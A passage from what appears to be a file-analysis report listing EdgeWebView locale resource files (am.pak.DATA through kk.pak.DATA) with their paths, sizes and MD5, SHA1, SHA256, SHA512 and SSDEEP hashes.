SHA512 14e58de110bc5b9cc55f788921edb5d667d0c0c629ba1d2bc0dceac98d188e5adb4fa6313f8f3c803acd3e72315f33316a9e6cf0c3679136cc5487b49a273300
SSDEEP 24576:y9zNRbYvgCd1qHi0p8ss3IzCqLt0ge7yORytqKQ13:m/ogj9pFsoCISuORiqKQ13
MD5 SHA1 SHA512 SSDEEP

Submit Download

am.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\am.pak.DATA
Size 1.4MB
SHA256 343c211bdaa04b2846fcf81124d0b7ccbe6fe87140d0bc3533993de2d9247c8c
MD5 a662d92aa0f8b4707ba454dea3c8cbbe
SHA1 efcde566e7b2f2ad742e1caa4eea99a95857e207
SHA512 505c0d0373ed50ab76d3083fdf86357a818d4adeb192a6f58aefd6b6e823b371bdc0fcf2d9609c587ab8dcdbaa217396af50944a4e476f2f79bb3956715d1ca4
SSDEEP 24576:6EEfD7oJBjYx9Ir2m8g2Pvhv3AcDo/s4TXRS0INPZvYqyOQF2UwEneIX/HOxh1ar:gb7oJJuOqv1M/FA31or
MD5 SHA1 SHA512 SSDEEP

Submit Download

ar.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ar.pak.DATA
Size 1.5MB
SHA256 ae0c0187b47fe28154fe747b0e65db2f1b0733522108139635de631b416fc8b6
MD5 a41f910e3ae4cfbc0ebc0ace18926c4a
SHA1 287e5f444dfa177f39e70440adc40f31f94eb2e3
SHA512 4986741d7929827a10cb2d6837cb7845c7d8e5a20e2f7b169f0561434141982376ba10cf19903abdf7f951e870cb431ac1edf6a6ec6828ac57453019e8d152af
SSDEEP 24576:a6LtmSzo3jyK3r82Icn42Qgth4chZZl1cIR9fFbGod5Y/8+3X:HoSzmjyB2Iy4UQ6ZzRfbLE/VX
MD5 SHA1 SHA512 SSDEEP

Submit Download

as.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\as.pak.DATA
Size 2.1MB
SHA256 ca26c52f689ebd3c249f690011701f1dab0cc3c8ed77b5d152801a57b2985496
MD5 71f734c42c8395a2785486b443f26b98
SHA1 17f00b224853f884add42a48afe4bc7f6861ec23
SHA512 ebce386935eb0dab778bba24b10bfdcf50b2934d4709c221694e0405a2d2fab5e87d260d550400bd214504649bcf329188d8bdfdf0c458b3de002ab9f5c1ffc8
SSDEEP 24576:N1tJ3Gn3M9xj8XBTloY+7jDRrP2M7/fDtzRekm58mBEp6dnWoCSEQ:ntpG3M9hmJoYODBOeHh8omypQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

az.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\az.pak.DATA
Size 1.1MB
SHA256 0366201e0460c02b3d1da13d9b67e127b18dfdae27974ed12870c0455bc0f329
MD5 00aefbbace7b632bd6a901adc87f114f
SHA1 fa7a2ec3f3d791c8194dcc5fc1ef9c346ffb1c27
SHA512 edff1ce4981fbf1f83a788f5f3f10b694a63cc7543dd7f7c948a96d280150985b5683ea1e68af98585e256b45628756a3b6d5299a6d180ee92e9d6379b279191
SSDEEP 24576:iLEYxhH/czIRGyg9IMa9fI7rLqUpKg3xCjre5vXwJ:LY7+A1gGM0gXuUkqyev8
MD5 SHA1 SHA512 SSDEEP

Submit Download

bg.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\bg.pak.DATA
Size 1.7MB
SHA256 35bda199878d675a60252b1c2cbfc190c377055266ee62f9b91a466f77c0358c
MD5 a6b723f027cbe41423a5a17721a0fc98
SHA1 612d5a45476c28728c3ce9b92dd2ca5c26534497
SHA512 e844153df5ac39918ecf464844a574bf899a4257435a120162700dda06d873a5b542a653617d6ef00c47bc07ebe07b76a4a9b33b9dfa8b0700442010a6eda69b
SSDEEP 49152:Wwc9jQkElMLVmtQW5OWtg4a70GzLMgJkPRucSg1gQs2o:cjQkLVnIC4qpJVam2o
MD5 SHA1 SHA512 SSDEEP

Submit Download

bn-IN.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\bn-IN.pak.DATA
Size 2.2MB
SHA256 c8200baf93734403a8e4b0d11698fca97818678ff74edf452819bd548ba3632d
MD5 e90a062ed6540f31b195deb246336125
SHA1 e2280ce16433678cdd5fd4b51419badb76ac5edf
SHA512 aa8aa4ad1fdb5f20fa939d1f040196b07eb566933065646b44653d42216b82e4ad24f3f75d7b34e348e46ac5df5bdb04f4085279a2c52f312448756f062dba04
SSDEEP 24576:mRg0v4kovEojprItjSsWRoxfdEw3Qla5y4hp0X+ptjxj6UaVvjL:meRkAEoFctjSsWRu1PB5JLC
MD5 SHA1 SHA512 SSDEEP

Submit Download

bs.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\bs.pak.DATA
Size 1.0MB
SHA256 9fd4d8f2070c69588fbd770b18c79b443667f23fecd89549ede547ea917e06e4
MD5 62a46d1de016a2bfb39a599e963e54da
SHA1 ce463b41aee86eed239d18126681c4990203e39f
SHA512 2929e5de953f37473e4dde9860df562c51535448b0ee19fc8dfbf6d394f9a17c3f0301c365cb9a2e5615c158218c3b298d4c3043adc26ac600d29336414daa44
SSDEEP 24576:74nAFjiNjdOWNE7rHp4U+v1T9S32rvD5/jyimld7NOFg00gQA6YqE:7fF+NEf7rHKUCTo32rvVLyrlVAFgzQ1
MD5 SHA1 SHA512 SSDEEP

Submit Download

ca-Es-VALENCIA.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ca-Es-VALENCIA.pak.DATA
Size 1.1MB
SHA256 2962b0c235b6d5bcf4ddd6ddbe4c5b0e00f8146d44ec1e9c64a2081298205596
MD5 86ed9d9ada7e890c5cd48a42f25bffcd
SHA1 7e694a31d5275dbb2932db91a1793ef1a92a0b04
SHA512 28772573318ac917a46b44d607685a2226f26e20a03a99cada028f2565aad18694433f448a1b1c7f70ee8570728520f4549e59abb6f1641fd8f4d74e5d9063e5
SSDEEP 24576:BDjYt0NUcvSSwo2sLXFaRZUjveYWrLYfWuZRL8l46c0:B/YaNbSSosL12ZOveXLoNYl46P
MD5 SHA1 SHA512 SSDEEP

Submit Download

ca.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ca.pak.DATA
Size 1.1MB
SHA256 95805b7d38d62af7cf79752f62b09319cd1e451670577adf38a7c2cfa5a20030
MD5 7320171af9de696315685b0d4b8cba7b
SHA1 275411c30af18a7d72f2fb179747b50da0e0558a
SHA512 030b20520fe0c910587e404cdfd2c303d7bb93dbfe171feb77a6e62d08a6205bdb24964d2df34e430466594369cdb699270c9ef6f428d42213662d98ef4c357e
SSDEEP 24576:29zLbtok/whVPjEoBmc9NM+PgEyDcvS39kA8ZWwHUhnpseiN0dR:29npou21j5vWlg6uZjHKnpseiN0dR
MD5 SHA1 SHA512 SSDEEP

Submit Download

cs.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\cs.pak.DATA
Size 1.1MB
SHA256 ba620f056129c9642c9ea8945f970c5f7d6b86f715da832693b96011f2cb2f9f
MD5 b4ad78cae2de6f3f82109a6877a58d2f
SHA1 bf5c3a82ad0bb6c53ac72e62c1c4146aa75d8270
SHA512 51d148b3f0bb1dd011a71fd2b71a648aa4d95c0db9078c74656ad9a9de019cca3939411fda50a327c64169b96ca1f93a2fe80c38c095ac76c5eef058f3598de6
SSDEEP 24576:OBvA3mNKETmpNN+/w4wg9FKYjzMnhh+Smbtw4oxfdjomUZH:Oi3QeUY0Lcn3kloxAZH
MD5 SHA1 SHA512 SSDEEP

Submit Download

cy.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\cy.pak.DATA
Size 1.1MB
SHA256 c2ab47e9f9c9a6c52668cfbe5a46b3617f281b8e7c053a72910dce08cfb2ba7f
MD5 211ae308a1ff5bf41e5c0adfb1937467
SHA1 4859b9300bb48f3504d900cddef5f313b1acd33a
SHA512 3b88044e26eae1c6aa2471e4d3fac14fd756c2cd0a2a966486086228bd19fcd22eaf5f2ffb77d5e9e9eb7d4e314ffb8bcbe5e1dba491ab9d85a20981283202de
SSDEEP 12288:y0HJIuaMJGyOnr4F8jKuG43F5jafOnYQo8baOAajcZh0S5B0U0wffmuT/3B1g1Ds:y0pIuxrOr44cJUYcCecDHyUxlpM+LI6
MD5 SHA1 SHA512 SSDEEP

Submit Download

da.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\da.pak.DATA
Size 1002KB
SHA256 ad5392fe0aacbb6f761782b3e134ae2cbd29c58418972e8b07c0882c75e08508
MD5 0ef402cf124b4f5ea8a64f3c7a513cdc
SHA1 9b1335e4b593185d4fbe9b85e241f58442909a59
SHA512 19568e88fad6154746393298c224d413fead8d45761de57d46a909204162f5a5c490abbf70f84461f735bad88a88db74b4bbac3bb8bf66104388fe5ebf9c5ebe
SSDEEP 24576:BZVhlFy0wbUIz5RgEbXpgyAuOrzi3y6sfxF6+7fFsV1jLkG:BbF1fIzb5XpgzuzsfxFsDL3
MD5 SHA1 SHA512 SSDEEP

Submit Download

de.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\de.pak.DATA
Size 1.1MB
SHA256 588401890bd38c8a0264953daff94164b20a911a73efad8296a549446209c65e
MD5 a0fafd9295e4a9f640ff82e15929db05
SHA1 75c48d2b4ab1a098a37403fec5d78382e339b469
SHA512 9b3d17ea807db05f8281bf8771294975b8861d7edda48cd136bb396696098d12411a2d6988f31c16cac40b549d404cc732a5e3057cf39e5aa04dfadffb5812cc
SSDEEP 24576:HkeESmDcRIQJU5LSLTeo2u5G2jSSf1FrY5zRYHOjIfVTtwt5rCy:HkxSmDcj+oNGQc5cvfVTtwtl
MD5 SHA1 SHA512 SSDEEP

Submit Download

el.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\el.pak.DATA
Size 1.9MB
SHA256 45c6e5b4edba965056f04ead2e2602f625ba30b596fff285fe69f05133fef3f9
MD5 5a901321de767897e6508affe59d532d
SHA1 891db587b2c9af7c12f5a4e2b9eea1f0617f97f6
SHA512 33d246e6fd0514e11e9cce238c71bc3f23fd1c9444eae34c5aa6311fdbcf04449967e0c15c20ee35dcae27a11e299ec43341ce47648891d7e39340c0d533825a
SSDEEP 49152:z48LB/bpz85OFKfhpp8yQzwuU7VYGXfA7IzfnYtbHW8gso35sMwBclIkybtZzIrf:zBlDpz84yx
MD5 SHA1 SHA512 SSDEEP

Submit Download

en-GB.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\en-GB.pak.DATA
Size 914KB
SHA256 837edfeda11f2d7e3cc5de1ec6bffb69eb2a92ed59a897b2363c1bf6c57218a0
MD5 c7caaef98cdcde1301aa970822dfe92c
SHA1 a6c0b6225b86b23c5475febcda9b827b9c45d527
SHA512 65cce9ea57f6f48d5fc7e35b9d83130ca0eaa4686cebaf2d1f344015ae159dfe9fda7c451e07bc7a6b6b30563d0616b80623d367172881b965d0e2219f352878
SSDEEP 24576:pzCTi6mi6Wdp2xpvYvx656P3tXJzC0acL/gFeZG/:pz86WdGYp7ft00ZG/
MD5 SHA1 SHA512 SSDEEP

Submit Download

en-US.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\en-US.pak.DATA
Size 901KB
SHA256 afe227bf8a223154071b4ab586c3b932b0ceeb6cd73dd05ab19eb09e7c0b9063
MD5 30d824024ed7e91f6e7f00c6756a7bb7
SHA1 d054ccf353b5eceb261ce4a92379f42d0fe88f20
SHA512 86c91f054efcfecfbbb685c2d2a3486704ee87a33b1ae342d752e346a1b19d0c93d6bd72b93f98ef1799f67b08da8fe864e9ae93f0299dc02634bdce0cf8fc36
SSDEEP 24576:df1fmJfZ784H1ccUkhB4acRTCGhE66qW0++V:x1r4PUh/EGhENg++V
MD5 SHA1 SHA512 SSDEEP

Submit Download

es-419.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\es-419.pak.DATA
Size 1.1MB
SHA256 226c1fe34a49ffbd6ca92c56885f2860914508ee55e360ba9f2a5acaece48448
MD5 065fc651e2239394c77b02a68cfa264b
SHA1 57e78cfe81fd86578f31db152afe7ce911dd49fe
SHA512 6226ea098bdd322c39cc8ef95f2e0093f4ca833c4da3c1826e2095d68c1ec9c0fb0f922be4012de83e08072b8009beb05974bcae7df9d2a9ef6c57caff3bc9f8
SSDEEP 24576:vxhQ3yLxSdW40OtwNeHvWgx0G1uv0NLOpBpNcvXtNtTLkmsQ9j:phQqmGMwNi00uveOpXN6XtNtnrj
MD5 SHA1 SHA512 SSDEEP

Submit Download

es.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\es.pak.DATA
Size 1.1MB
SHA256 7be527a08d970ef1c3803873e048b9891fe053b486d5e1d13939452af55d6cc9
MD5 9871157f8a2eba18099abf83b9100edc
SHA1 30a4d87a921c8c1882e702473a4533cae41cf7ff
SHA512 895c25769dd65c90d107c18963174f76b78bed809a9d99f73a354e364c6094702858f38918270ab19c794a0f9e1fa03f405094861ddd6eab18d26b1fd65d8505
SSDEEP 24576:Ss0YYsQsoUsfumnAlEGDZIo/nQIRyz3pMpMM6qTKdybNWA6NKWs:Ss0hsQsoUGtnqEqIoQIRyz3p2zbNDAKl
MD5 SHA1 SHA512 SSDEEP

Submit Download

et.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\et.pak.DATA
Size 990KB
SHA256 44cef902ee39f35150f79b63c5f6f181989673ecaaef46eefd5befc3176b409e
MD5 abd26d2f159552fea17a8dc85a32950f
SHA1 ed11a9faf33dd7e4da2b5647245c644878140b8c
SHA512 5e8a186d740191e95cc44aa967bbc753e124bc05079245778d1c4aeda695c023805843d10c8575a0c902717e364e0499193efcf99157097b2e4bc96912fc0f6d
SSDEEP 24576:4cY99ShquVzItJrLTcORMEOSB6hx0sSnjBxG0xDg:4cY97EzOdRMEVB6krj7O
MD5 SHA1 SHA512 SSDEEP

Submit Download

eu.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\eu.pak.DATA
Size 1.0MB
SHA256 74cf884942ad66c9b530c0a2ba462cfcff4c38931d08f8675f103a121efeb501
MD5 c402ef02ca6854d15f69946622ab59a8
SHA1 015c43e8522599c1d51867378b6708a24ad8da15
SHA512 ae8213b707a6526a4165b120ea83fc6f05a6cb5da179ca6d0d262743edea220a4cfa3e8c9e2c3d50bc01c2d59e38079a5c2d3274ae951f0b2a4c61b78e3968c1
SSDEEP 12288:ID6jVL2xZNggt2PKXCN31EejNddHi4D8zzJkGxTjOZ5bPi4bNJYtVu4xQjeYQ5P6:9psZNMPHlBjVTMkhH/cuLyYE9JyKYKm
MD5 SHA1 SHA512 SSDEEP

Submit Download

fa.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fa.pak.DATA
Size 1.5MB
SHA256 830252e931ec2d2a30897f5e83b2f1862f450a0dbb34b00922be4b3e2d2055ed
MD5 9d45a5918a60967a1372d6f6e1055e9a
SHA1 ef2c56a9f3011aa2cade4cdaa47e4c4ec203651a
SHA512 b9e8d23d6b17ebe3e8b3aaeaecb2f543ec3c04897eac0206a9226c2a4e42b77457a367aa5b16c2a2102524669ef1e44a17b150d15081da25867910c7db3d8c31
SSDEEP 24576:oa6DvwxUEkxkclFye03vvnoVQTewqBRZqqIpZhHa21e2OWzrZoWVWHWsfE0jNaA/:ofDv7FgoVQTmBRZqq+vH90
MD5 SHA1 SHA512 SSDEEP

Submit Download

fi.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fi.pak.DATA
Size 1.0MB
SHA256 45333189d84f1a8ea98eaa21e7b4cdf59e2dab12922daa72f596b9bd2655189a
MD5 5b77c526c269b0dc5e270566ca8fb427
SHA1 810b1a6ebf12070a1db532b0fb24b35c06f74763
SHA512 f4714d076d8ff3b55035902124eb91793a31befd4ab95e9178b170a8566acdecd2a0e396be11ce347883645331c703009253379002380166594150d1eec3ef4d
SSDEEP 24576:z7wbSSVz/WWrAWwhq2qUXuxVcJrqDke+nAN7ErWVG9:z7wVVqsAW6qpRVcB23wrWVG9
MD5 SHA1 SHA512 SSDEEP

Submit Download

fil.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fil.pak.DATA
Size 1.1MB
SHA256 ac9b1c078f9ca4d9121cffca8b9295426833edcda9b89fa5bde988d63b75016a
MD5 55f457c75fe613f66953dcebcbf960ee
SHA1 19809003eb4ccf14367bfa3025d40cbac22270af
SHA512 3623148c7fe893ce2f210b77d380e7763d0352d447073c03c0dba67e57db33038efcb877026b77893cfdb6549843549e5af635f0451088d1a0094a1bc08e6676
SSDEEP 24576:yzKSqmK/U8ZYfzGgHD2icHO8c3+kvJjuDf7i2a+74Cu5fDas4klw:yzzqmcbsGgj2ZHO3Okki2fPuMsv6
MD5 SHA1 SHA512 SSDEEP

Submit Download

fr-CA.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fr-CA.pak.DATA
Size 1.2MB
SHA256 c5ec899554ece2228f0e0897957cb2ddbcd58cf7b0cfdbdf4e04ac6df6117362
MD5 aedc2e9173738ac7a6efae42feb434b8
SHA1 f3d82267d1ef80fb5bbe047e4fc28d3a071fcd29
SHA512 141536af299f35c17d854f562c1d008f34645d118e6331da3609821ee6df2643fc97433ff7da7c9ac1e3021b7a4e6d787b3edfd0c38a3d002707202695df9703
SSDEEP 24576:I7Cxpi8+5UeKtj9wcZt4Q6mumlJdy23ttGLz:I76Yi4/SXtGLz
MD5 SHA1 SHA512 SSDEEP

Submit Download

fr.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fr.pak.DATA
Size 1.2MB
SHA256 0b7ad31b81c94fd82b8f02acac9513d8fe53489b2c1c2896739137303465e1ff
MD5 16de1314afda4531679ed634b2c686cd
SHA1 8a68eec644ee2defdba14fca8326bf0d580f0f83
SHA512 ae2e66fb59489dc35f357cb40606c20254d0add47c9d1a68b9141a885c87875e72caf5d75d25d271ed0bb221e390d2902f42c91c6eedced85dd5ae442a947c68
SSDEEP 24576:/bhc3+9L0nBwAgKwMRKzaCPYbmy4Hqz+sgKoJofIfKH9rHug9Cw/:qQLwwRkvmyo23jfIidLl3/
MD5 SHA1 SHA512 SSDEEP

Submit Download

ga.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ga.pak.DATA
Size 1.2MB
SHA256 96fe19400ac1e08d0985f7c2fb5d75eec87ca5b04f5aeeb5fd27f23b29a4d15a
MD5 148ae2bbdf573ac17a3df8f648eb2e9c
SHA1 f28f44f88c44bc705ed601d68337aeac2ac367e5
SHA512 1194a0236a595aa7e8e8b7dba069d4a0a1c36e9d346f1b65b4bd0f7037ece6a67d762ecf77071d0c75d8e900e337a641502be6f0429f50bc2612ea98c996b0a3
SSDEEP 24576:nehKo45e2AmBhayLzMpjwq8YllEe5qcefulsNu3E6N:nS45FNBhPzs9pvef0gul
MD5 SHA1 SHA512 SSDEEP

Submit Download

gd.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\gd.pak.DATA
Size 1.2MB
SHA256 644db0e293f9fd2646a9f0d0e9a20ed8e621142b674d178c5cbf2d5b22941234
MD5 cbdf5da40f652aa8c1623e9b94acbb22
SHA1 f29274cd718c0a43d04eb69b4c7c3ff83151a80f
SHA512 19c434abfc5dfb42bcf45ab8eb88b69c47095c4c498ba34fd99c6574ec699e6045f6a76331671327197927f07358ae0726814b927e45e5f02b1d4837f926102f
SSDEEP 24576:IcrMDaWHRrEs2CiyQ053oqLqZpNmmQTlXLfrllKL9j:TraaWHRjVP3okqZpSXFc9j
MD5 SHA1 SHA512 SSDEEP

Submit Download

gl.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\gl.pak.DATA
Size 1.0MB
SHA256 2cbf748526e09512e87714eb4a42fca9104804d1e7d5c7b4b1e77ee50d1a0675
MD5 1800a27b6adbf2ab3b9cb12a51b506ef
SHA1 390045c516e3254056bcdf8fd617a22210548476
SHA512 1ea970033c8de35e6a5f3a5fc36186a57e940fcc86746a3ae40c01d0ce092261c9d4cb9a885f7c770330cde7aaf696a68866f8adfa2bb5919e9db1c3c7fc6fb2
SSDEEP 24576:JZJ6grzwkL/p39BYT13C9151PVUfxwxacCMpf6M:JxB/3B+13o151CfxwxRpCM
MD5 SHA1 SHA512 SSDEEP

Submit Download

gu.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\gu.pak.DATA
Size 2.1MB
SHA256 b68405e3f194698e562c9bd9fb55efcdcf9a664b45fa70a83465d94f9bf3a81c
MD5 3534702ba8a9553a5066dcdbfd8d893a
SHA1 a83d5303729489fbfde1c0b313a1a48fe3cda6d0
SHA512 c76ca57298d3193c8ba8dd0056573f50cadcb1a0db8f81fdb886f37500008297992d4735c2406de965cfcba6c9027b62d7c7dcc7c74987fd773df815b97c133a
SSDEEP 24576:ul5/rOk0MdE7LNaqivYwN38q1LIvxBZdaqtaTUP:uz7NM5eNMNxBZUqtf
MD5 SHA1 SHA512 SSDEEP

Submit Download

he.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\he.pak.DATA
Size 1.3MB
SHA256 51f61ffd82b705048f37f69a1d53f9651aae388015aa517a26512a51207a499a
MD5 a8f5000bfd5909c1422c0cad2fe05d9b
SHA1 93aa954753c5c07e89519c8eba164b0aee1c53f1
SHA512 6c5926559d8578d4664382b5e1b260c94cf4a7a0b7d9c8152f7a674cf2686e6d576900d9ee7f6096fd9f37a340d2312c6e4b845208dc54281bbea5d51039268e
SSDEEP 24576:denkQrXkKRnNZsgs5raxeKia6oo6eD4R/B0HOMBLkaBVoHXoKS5R983+:dBQT9RNCgsExZiazq4RiSafoHY1L
MD5 SHA1 SHA512 SSDEEP

Submit Download

hi.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\hi.pak.DATA
Size 2.1MB
SHA256 6d103d130cffb346a06a98c636e084f472653fb1a2acb50d5bfe97629bc8fdd5
MD5 be95f18b3be0f1c42921c3a92c25edd8
SHA1 e3b89c6db3b1160bc05212add6140c097bc703f4
SHA512 6ebd473bbea9fa9d9461b1f183abc4b8e459eefdf740cabbb59cceee7b847bc648e52cb173350e781f61a3677befb462a946d339785600946844874060831a70
SSDEEP 24576:rd94PmHImiDVBXCedOjfwWoGPclkDKFPQvjRbLca:rgqoSnDCPQjxL
MD5 SHA1 SHA512 SSDEEP

Submit Download

hr.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\hr.pak.DATA
Size 1.1MB
SHA256 27da59bf0fac70b113351cfb807456795d869abeb68afd00d6f4cba32cd6abd2
MD5 0878298bca441ca1bc7218dd0002ed21
SHA1 1d780cf51410f1df98d1bd80d50aa7c369bb326f
SHA512 26c8fe2847b9e3fed4d1a24049e9d21150ad586895b54f24b4c64089170dc30f120ce95fd23f0e9b324a8fbdd7c70dd8169dc2f1505a246b37abebcd012cfed0
SSDEEP 24576:vvrdLGNKSiAil+xC/4/WtMbxuycXT82kCv+tO9s+XxzwxqcExuMu5:3rdyKSXy9vwuycXIvTSxte
MD5 SHA1 SHA512 SSDEEP

Submit Download

hu.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\hu.pak.DATA
Size 1.1MB
SHA256 9ea544156b056addf159038d0b6fcd3e27313238f80680d4b0be2e7fb7eea126
MD5 7dc81f6e7922eb5202bac9b346cb2ae2
SHA1 fda5af018fac1e8b467a987b826ad9ac46410054
SHA512 8746ce1320ec23f50f0d19bc34a9dedf8149af5a6377f2e6f2b7f135bfbf27785133df4c13dc1dae43fae44b63da5dc0d219f018976f4fec08f6c686298e432f
SSDEEP 24576:2MlDqmgBsfbvgrrqwxOZfsWtQxJECcqNsHSZO3/njByJZoapXHg:2MkN2f7grrqpfsWxHvnjEJ/g
MD5 SHA1 SHA512 SSDEEP

Submit Download

id.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\id.pak.DATA
Size 983KB
SHA256 c83ab13cc0196dfe6b8027a5d18946bf8917fe8fddd9d7d6ae3c2bf74e3516af
MD5 1d723d6edf3feb14ba1da1eafb1abbee
SHA1 616da2c661b61f80fee261ac3a126b8dac59ad49
SHA512 9b62249140cbd6c8779ca211a40a805c611a238c13bffa7c822426a87705774036592154273c25eeb4c813a18eeb54fa3c7bb2191666631bc10c0141ab100fd5
SSDEEP 24576:bcDdPB/7roZK4jSMd+SAKyp9kTMPAUt6APQMnlvIWf:I9Srj7dbAKvAPAUzPQqaWf
MD5 SHA1 SHA512 SSDEEP

Submit Download

is.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\is.pak.DATA
Size 1.0MB
SHA256 a343d4571d1cf090e5a07c84250634b1fb5c9257780a5c475455bd4108d09f2e
MD5 3ab1f3c5bb623e25d3a7c40d0677fe23
SHA1 d8068afb56bfc5a2034f301b0ff1bf1a806c8eb5
SHA512 6df1b928e8f0269d61cb9d5a6e08c3760970ec4e1dd01ce479fa6e313e992d79ebf60a4df92d8f9dd021ef41abdc10025c0718d1ac6d2c8211daae705d5e665b
SSDEEP 24576:PXkejS+Ykc8VXYWaIDiUeYjs2WbkE0OTrRFGTGCoXs8j:Pj72H6iUeINyrJCoXxj
MD5 SHA1 SHA512 SSDEEP

Submit Download

it.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\it.pak.DATA
Size 1.1MB
SHA256 394d43aae515b45ff02cb0f8ebed41433266437887dc0cab78f4e634871f8a74
MD5 7a3f1452344c0a3d79d7e86896f8c5bc
SHA1 d903146e7adbae318d7a24f813fd3745bff06fb7
SHA512 6816f0c063b18bda132cf5290210ce5cb9300307360f2b03baeb22a9ddb3fa54903b6ea917a621a0a7d9c64e59404e1131ba65f9f7525b57076818a3f00a70f5
SSDEEP 24576:9ixohbLDCmfQQmyfEqeiDDQAvWVxdF3hHjjaO15:EiLDDxm86i3Q31J1jjaO15
MD5 SHA1 SHA512 SSDEEP

Submit Download

ja.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ja.pak.DATA
Size 1.2MB
SHA256 32b25b4c9dd074f7066c5fe4fc8de311182b11b77c6d853638edd69596ee4689
MD5 e9aad0f748565e041508aad098783497
SHA1 7d1f35e05fd0966b8690c7346c0c762d0f952849
SHA512 d5ec99a52681cb4327e72b5558d748aa7df7bef47ad6095115f81ad5e4148b5639590358791fb1b997debb7169107a55f05671c5664154be1e2d57b4e8376cb1
SSDEEP 24576:MOPcNkYMLLcbFE8jPHU0y8fInTeMqjafUzb10re:MmzYIcxU0yDnujUGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

ka.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ka.pak.DATA
Size 2.3MB
SHA256 ef3e85084b69fe1f6254d2f1e78bd63871e49d4e5a8f3703b61e0a577468b68a
MD5 27e57db0e17752c1de5cc5b7dbb72145
SHA1 076dac0ea93aa6413418280e9e7f778a8c5a61b0
SHA512 a18c341b1e6dc3ee06172106e5329d3d00560aea1cdaaf2194e79b322f87296ee8594c19c9227b71c1ce5297539592b7d77026bdec59e85b10e17ac7b0b4ec6a
SSDEEP 49152:0k1Pu3RTEhmh1xkcTnGPDc3lL68BHWEsw:UE+fhc8BHWE3
MD5 SHA1 SHA512 SSDEEP

Submit Download

kk.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\kk.pak.DATA
Size 1.7MB
SHA256 b736999db5dd398aecd6c6cdf1eb33f01cb517f19c6ca761b041ff6363e2258e
MD5 e717ddfb6407b46b902a7fcc3d56e63b
SHA1 f00bb9e050467d29c6e7fdeacb6ab75923bbd7ad
